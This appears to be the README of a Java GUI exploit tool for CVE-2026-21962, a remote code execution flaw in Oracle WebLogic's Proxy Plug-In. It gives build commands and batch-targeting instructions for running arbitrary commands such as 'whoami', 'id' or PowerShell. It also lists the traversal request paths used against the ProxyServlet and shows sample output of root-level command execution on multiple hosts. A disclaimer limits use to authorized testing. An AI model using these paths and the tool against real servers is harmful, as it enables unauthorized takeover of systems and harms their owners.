naozibuhao/cve-2026-21962_java_gui_exploit_toolJava GUI tool for exploiting CVE-2026-21962, an unauthenticated RCE in Oracle WebLogic Proxy Plug-In, enabling multi-target command execution via HTTP.
Java GUI version of the Oracle WebLogic Server Proxy Plug-In RCE (Remote Code Execution) vulnerability exploitation tool.
java-version/
├── pom.xml # Maven project configuration file
├── README.md # Project documentation
├── run.bat # Windows startup script
└── src/
└── main/
└── java/
└── com/
└── ashwesker/
└── cve202621962/
├── Main.java # Program entry point
├── core/
│ └── Exploit.java # Core exploit logic
├── gui/
│ └── MainWindow.java # GUI main window
└── util/
└── HttpClient.java # HTTP request utility
The program window contains the following areas:
Input Parameters Area (top)
Button Area (middle)
Execution Log Area (bottom left)
Command Output Area (bottom right)
cd java-version
mvn clean compile
mvn clean package
The packaged JAR file is located at: target/cve-2026-21962-1.0.0.jar
Double-click the run.bat file to start the program
cd java-version
mvn exec:java -Dexec.mainClass="com.ashwesker.cve202621962.Main"
java -jar target/cve-2026-21962-1.0.0.jar
cd java-version
mvn clean compile
java -cp "target/classes;[dependency jar path]" com.ashwesker.cve202621962.Main
Target URL:
http://192.168.1.100:7001
Command to execute:
whoami
Target URL:
http://192.168.1.100:7001
http://192.168.1.101:7001
http://192.168.1.102:7001
https://weblogic.example.com:4443
Command to execute:
id
Example output:
[*] Starting vulnerability test...
[*] Target URL: http://192.168.1.100:7001
[*] Executing command: id
[*] Testing path: http://192.168.1.100:7001/weblogic//weblogic/..;/bea_wls_internal/ProxyServlet
[+] Success! Status code: 200
[+] Command executed successfully!
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------
================================================================================
[*] Starting vulnerability test...
[*] Target URL: http://192.168.1.101:7001
[*] Executing command: id
[*] Testing path: http://192.168.1.101:7001/weblogic//weblogic/..;/bea_wls_internal/ProxyServlet
[+] Success! Status code: 200
[+] Command executed successfully!
uid=0(root) gid=0(root) groups=0(root)
------------------------------------------------------------
After starting the program, enter the target server address in the "Target URL" text area
http://target:7001 or https://oracle-server:4443Enter the command to execute in the "Command to Execute" field
whoami, id, powershell -c ..., etc.Click the "Execute Exploit" button to start the test
Check the "Execution Log" below to understand the test process
Check the "Command Output" below to get the command execution results
Enter multiple target addresses in the "Target URL" text area, one per line
http://target1:7001
http://target2:7001
https://target3:4443
Enter the command to execute in the "Command to Execute" field
Click the "Execute Exploit" button to start the batch test
The program will test each target in sequence, and the output results of different targets are separated by ================ (80 equals signs)
Check the "Execution Log" below to understand the test process for each target
Check the "Command Output" below to get the command execution results for all targets
The program automatically tests the following paths:
/weblogic//wl_proxy//bea_wls_internal//_proxy//proxy/⚠️ Warning: This tool is intended for authorized security testing only. Using this tool to attack systems without authorization is illegal.
Main.java
Exploit.java
MainWindow.java
HttpClient.java
This project is for educational and security research purposes only.